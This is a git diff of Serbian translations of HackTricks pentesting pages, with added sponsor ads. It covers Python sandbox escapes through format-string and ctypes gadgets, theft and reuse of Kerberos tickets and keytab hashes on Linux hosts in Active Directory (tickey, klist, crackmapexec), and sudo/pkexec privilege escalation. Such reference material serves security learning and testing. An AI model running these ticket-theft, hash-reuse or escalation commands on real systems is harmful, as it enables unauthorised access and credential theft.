_SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
""" """
``` ```
## Rekurzivno pretraživanje Builtins, Globals... ## Rekurzivna pretraga builtins, globals...
{% hint style="warning" %} {% hint style="warning" %}
Ovo je jednostavno **neverovatno**. Ako **tražite objekat poput globals, builtins, open ili bilo čega** samo koristite ovaj skript da **rekurzivno pronađete mesta gde možete pronaći taj objekat.** Ovo je jednostavno **neverovatno**. Ako **tražite objekat poput globals, builtins, open ili bilo čega** samo koristite ovaj skript da **rekurzivno pronađete mesta gde možete pronaći taj objekat.**
@ -700,7 +710,7 @@ get_name_for_avatar(st, people_obj = people)
``` ```
Napomena kako možete **pristupiti atributima** na normalan način sa **tačkom** kao `people_obj.__init__` i **elementu rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]` Napomena kako možete **pristupiti atributima** na normalan način sa **tačkom** kao `people_obj.__init__` i **elementu rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]`
Takođe, napomena da možete koristiti `.__dict__` za enumeraciju elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Takođe, napomenite da možete koristiti `.__dict__` za enumeraciju elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Neke druge zanimljive karakteristike format stringova su mogućnost **izvršavanja** **funkcija** **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** respektivno: Neke druge zanimljive karakteristike format stringova su mogućnost **izvršavanja** **funkcija** **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** respektivno:
```python ```python
@ -721,7 +731,7 @@ return 'HAL 9000'
**Više primera** o **format** **string** primerima može se naći na [**https://pyformat.info/**](https://pyformat.info) **Više primera** o **format** **string** primerima može se naći na [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %} {% hint style="danger" %}
Proverite takođe sledeću stranicu za gadgete koji će r**ešiti osetljive informacije iz Python internih objekata**: Proverite i sledeću stranicu za gadgete koji će r**ešavati osetljive informacije iz Python internih objekata**:
{% endhint %} {% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %} {% content-ref url="../python-internal-read-gadgets.md" %}
@ -752,7 +762,7 @@ Kao podsetnik, svaki put kada se izvrši neka akcija u pythonu, neka funkcija se
Imate više ovakvih u sekciji [**Python izvršenje bez poziva**](./#python-execution-without-calls). Imate više ovakvih u sekciji [**Python izvršenje bez poziva**](./#python-execution-without-calls).
Ranjivost format string u pythonu ne omogućava izvršavanje funkcije (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\ Ranjivost format string u pythonu ne dozvoljava izvršavanje funkcije (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\
Međutim, moguće je koristiti `[]`. Stoga, ako neka uobičajena python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće je zloupotrebiti ih da se dobije RCE. Međutim, moguće je koristiti `[]`. Stoga, ako neka uobičajena python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće je zloupotrebiti ih da se dobije RCE.
Tražeći takav gadget u pythonu, izveštaj predlaže ovu [**Github pretragu**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Gde je pronašao ovu [jednu](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463): Tražeći takav gadget u pythonu, izveštaj predlaže ovu [**Github pretragu**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Gde je pronašao ovu [jednu](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
@ -777,11 +787,11 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL) cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL) pydll = LibraryLoader(PyDLL)
``` ```
Ovaj uređaj omogućava **učitavanje biblioteke sa diska**. Stoga, potrebno je na neki način **napisati ili otpremiti biblioteku za učitavanje** ispravno kompajliranu na napadnuti server. Ovaj uređaj omogućava **učitavanje biblioteke sa diska**. Stoga, potrebno je na neki način **napisati ili otpremiti biblioteku za učitavanje** ispravno kompajlirane na napadnuti server.
```python ```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
``` ```
Izazov zapravo zloupotrebljava drugu ranjivost na serveru koja omogućava kreiranje proizvoljnih fajlova na disku servera. Izazov zapravo koristi drugu ranjivost na serveru koja omogućava kreiranje proizvoljnih fajlova na disku servera.
## Istraživanje Python objekata ## Istraživanje Python objekata
@ -789,7 +799,7 @@ Izazov zapravo zloupotrebljava drugu ranjivost na serveru koja omogućava kreira
Ako želite da **naučite** o **python bytecode** detaljno, pročitajte ovaj **sjajan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) Ako želite da **naučite** o **python bytecode** detaljno, pročitajte ovaj **sjajan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
U nekim CTF-ovima možete dobiti ime **prilagođene funkcije u kojoj se nalazi flag** i morate da pogledate **unutrašnjost** **funkcije** da biste ga izvukli. U nekim CTF-ovima možete dobiti ime **prilagođene funkcije u kojoj se nalazi flag** i potrebno je da pogledate **unutrašnjost** **funkcije** da biste ga izvukli.
Ovo je funkcija koju treba ispitati: Ovo je funkcija koju treba ispitati:
```python ```python
@ -912,7 +922,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None) 44 LOAD_CONST 0 (None)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
Napomena da **ako ne možete da uvezete `dis` u python sandboxu** možete dobiti **bajt kod** funkcije (`get_flag.func_code.co_code`) i **dezintegrisati** ga lokalno. Nećete videti sadržaj varijabli koje se učitavaju (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje offset varijable koja se učitava. Napomena da **ako ne možete da uvezete `dis` u python sandboxu** možete dobiti **bajt kod** funkcije (`get_flag.func_code.co_code`) i **dezintegrisati** ga lokalno. Nećete videti sadržaj varijabli koje se učitavaju (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje pomeraj varijable koja se učitava.
```python ```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1) 0 LOAD_CONST 1 (1)
@ -936,8 +946,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
``` ```
## Kompajliranje Pythona ## Kompajliranje Pythona
Sada, zamislite da nekako možete **izvući informacije o funkciji koju ne možete izvršiti** ali vam **treba** da je **izvršite**.\ Sada, zamislite da nekako možete **izvući informacije o funkciji koju ne možete izvršiti** ali vam je **potrebno** da je **izvršite**.\
Kao u sledećem primeru, možete **pristupiti kod objektu** te funkcije, ali samo čitajući disasembler ne **znate kako da izračunate flag** (_zamislite složeniju `calc_flag` funkciju_) Kao u sledećem primeru, možete **pristupiti kod objektu** te funkcije, ali samo čitajući disasembler ne **znate kako da izračunate zastavicu** (_zamislite složeniju `calc_flag` funkciju_)
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -952,7 +962,7 @@ return "Nope"
``` ```
### Creating the code object ### Creating the code object
Prvo, moramo znati **kako da kreiramo i izvršimo kod objekat** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije leak: Prvo, moramo znati **kako da kreiramo i izvršimo objekat koda** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije leak:
```python ```python
code_type = type((lambda: None).__code__) code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this # Check the following hint if you get an error in calling this
@ -983,7 +993,7 @@ types.CodeType.__doc__
### Ponovno kreiranje provaljene funkcije ### Ponovno kreiranje provaljene funkcije
{% hint style="warning" %} {% hint style="warning" %}
U sledećem primeru, uzet ćemo sve podatke potrebne za ponovno kreiranje funkcije direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** za izvršavanje funkcije **`code_type`** su ono što **ćete morati da provalite**. U sledećem primeru, uzet ćemo sve podatke potrebne za ponovno kreiranje funkcije direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** za izvršavanje funkcije **`code_type`** su ono što **ćete morati da prokrijumčarite**.
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -1070,6 +1080,14 @@ will be bypassed
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,17 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Linux mašina može biti prisutna unutar Active Directory okruženja. Linux mašina može biti prisutna unutar Active Directory okruženja.
Linux mašina u AD može **čuvati različite CCACHE karte unutar fajlova. Ove karte se mogu koristiti i zloupotrebljavati kao i svaka druga kerberos karta**. Da biste pročitali ove karte, potrebno je da budete korisnik vlasnik karte ili **root** unutar mašine. Linux mašina u AD može **čuvati različite CCACHE karte unutar fajlova. Ove karte se mogu koristiti i zloupotrebljavati kao i svaka druga kerberos karta**. Da biste pročitali ove karte, potrebno je da budete korisnik vlasnik karte ili **root** unutar mašine.
## Enumeration ## Enumeration
### AD enumeracija sa linux-a ### AD enumeracija iz linuxa
Ako imate pristup AD-u na linux-u (ili bash-u u Windows-u), možete probati [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) da enumerirate AD. Ako imate pristup AD-u u linuxu (ili bash-u u Windows-u), možete probati [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) da enumerišete AD.
Takođe možete proveriti sledeću stranicu da biste naučili **druge načine za enumeraciju AD-a sa linux-a**: Takođe možete proveriti sledeću stranicu da biste naučili **druge načine za enumeraciju AD-a iz linuxa**:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -43,7 +47,7 @@ FreeIPA je open-source **alternativa** za Microsoft Windows **Active Directory**
### Pass The Ticket ### Pass The Ticket
Na ovoj stranici ćete pronaći različita mesta gde možete **pronaći kerberos karte unutar linux hosta**, na sledećoj stranici možete naučiti kako da transformišete formate ovih CCache karata u Kirbi (format koji treba da koristite u Windows-u) i takođe kako da izvršite PTT napad: Na ovoj stranici ćete pronaći različita mesta gde možete **pronaći kerberos karte unutar linux hosta**, na sledećoj stranici možete naučiti kako da transformišete ove CCache formate karata u Kirbi (format koji treba da koristite u Windows-u) i takođe kako da izvršite PTT napad:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} {% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md) [pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
@ -51,9 +55,9 @@ Na ovoj stranici ćete pronaći različita mesta gde možete **pronaći kerberos
### CCACHE ponovna upotreba iz /tmp ### CCACHE ponovna upotreba iz /tmp
CCACHE fajlovi su binarni formati za **čuvanje Kerberos kredencijala** i obično se čuvaju sa 600 dozvolama u `/tmp`. Ovi fajlovi se mogu identifikovati po svom **formatu imena, `krb5cc_%{uid}`,** koji se odnosi na UID korisnika. Za verifikaciju autentifikacione karte, **promenljiva okruženja `KRB5CCNAME`** treba da bude postavljena na putanju željenog fajla karte, omogućavajući njenu ponovnu upotrebu. CCACHE fajlovi su binarni formati za **čuvanje Kerberos akreditiva** koji se obično čuvaju sa 600 dozvolama u `/tmp`. Ovi fajlovi se mogu identifikovati po svom **formatu imena, `krb5cc_%{uid}`,** koji se odnosi na korisnikov UID. Za verifikaciju autentifikacione karte, **promenljiva okruženja `KRB5CCNAME`** treba da bude postavljena na putanju željenog fajla karte, omogućavajući njenu ponovnu upotrebu.
Prikazivanje trenutne karte koja se koristi za autentifikaciju sa `env | grep KRB5CCNAME`. Format je prenosiv i karta se može **ponovo koristiti postavljanjem promenljive okruženja** sa `export KRB5CCNAME=/tmp/ticket.ccache`. Format imena kerberos karte je `krb5cc_%{uid}` gde je uid UID korisnika. Nabrojte trenutnu kartu koja se koristi za autentifikaciju sa `env | grep KRB5CCNAME`. Format je prenosiv i karta se može **ponovo koristiti postavljanjem promenljive okruženja** sa `export KRB5CCNAME=/tmp/ticket.ccache`. Format imena kerberos karte je `krb5cc_%{uid}` gde je uid korisnikov UID.
```bash ```bash
# Find tickets # Find tickets
ls /tmp/ | grep krb5cc ls /tmp/ | grep krb5cc
@ -64,9 +68,9 @@ export KRB5CCNAME=/tmp/krb5cc_1000
``` ```
### CCACHE ticket reuse from keyring ### CCACHE ticket reuse from keyring
**Kerberos karte pohranjene u memoriji procesa mogu biti ekstraktovane**, posebno kada je zaštita ptrace na mašini onemogućena (`/proc/sys/kernel/yama/ptrace_scope`). Koristan alat za ovu svrhu se može naći na [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), koji olakšava ekstrakciju injektovanjem u sesije i dumpovanjem karata u `/tmp`. **Kerberos karte pohranjene u memoriji procesa mogu se izvući**, posebno kada je zaštita ptrace na mašini onemogućena (`/proc/sys/kernel/yama/ptrace_scope`). Koristan alat za ovu svrhu se može pronaći na [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), koji olakšava ekstrakciju injektovanjem u sesije i dumpovanjem karata u `/tmp`.
Da bi se konfigurisao i koristio ovaj alat, sledeći koraci se prate: Da biste konfigurisali i koristili ovaj alat, slede se koraci u nastavku:
```bash ```bash
git clone https://github.com/TarlogicSecurity/tickey git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey cd tickey/tickey
@ -96,7 +100,7 @@ klist -k /etc/krb5.keytab
Ključevi servisnih naloga, koji su neophodni za usluge koje rade sa root privilegijama, sigurno su pohranjeni u **`/etc/krb5.keytab`** datotekama. Ovi ključevi, slični lozinkama za usluge, zahtevaju strogu poverljivost. Ključevi servisnih naloga, koji su neophodni za usluge koje rade sa root privilegijama, sigurno su pohranjeni u **`/etc/krb5.keytab`** datotekama. Ovi ključevi, slični lozinkama za usluge, zahtevaju strogu poverljivost.
Da biste pregledali sadržaj keytab datoteke, može se koristiti **`klist`**. Ovaj alat je dizajniran da prikaže detalje ključeva, uključujući **NT Hash** za autentifikaciju korisnika, posebno kada je tip ključa identifikovan kao 23. Da biste pregledali sadržaj keytab datoteke, može se koristiti **`klist`**. Ovaj alat je dizajniran da prikaže detalje o ključevima, uključujući **NT Hash** za autentifikaciju korisnika, posebno kada je tip ključa identifikovan kao 23.
```bash ```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash # Output includes service principal details and the NT Hash
@ -114,18 +118,22 @@ Korišćenjem ekstraktovanih informacija o nalogu i hešu, mogu se uspostaviti v
```bash ```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
``` ```
## Reference ## References
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) * [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podrška HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -13,12 +13,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
# Sudo/Admin Grupe Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
## **PE - Metod 1** {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
**Ponekad**, **podrazumevano \(ili zato što neka softverska rešenja to zahtevaju\)** unutar **/etc/sudoers** datoteke možete pronaći neke od ovih linija: # Sudo/Admin Groups
## **PE - Metoda 1**
**Ponekad**, **podrazumevano \(ili zato što neki softver to zahteva\)** unutar **/etc/sudoers** datoteke možete pronaći neke od ovih linija:
```bash ```bash
# Allow members of group sudo to execute any command # Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL %sudo ALL=(ALL:ALL) ALL
@ -32,7 +38,7 @@ Ako je to slučaj, da **postanete root, možete jednostavno izvršiti**:
```text ```text
sudo su sudo su
``` ```
## PE - Metoda 2 ## PE - Metod 2
Pronađite sve suid binarne datoteke i proverite da li postoji binarna datoteka **Pkexec**: Pronađite sve suid binarne datoteke i proverite da li postoji binarna datoteka **Pkexec**:
```bash ```bash
@ -119,24 +125,24 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
``` ```
**tty1** znači da je korisnik **yossi fizički prijavljen** na terminalu na mašini. **tty1** значи да је корисник **yossi физички пријављен** на терминал на машини.
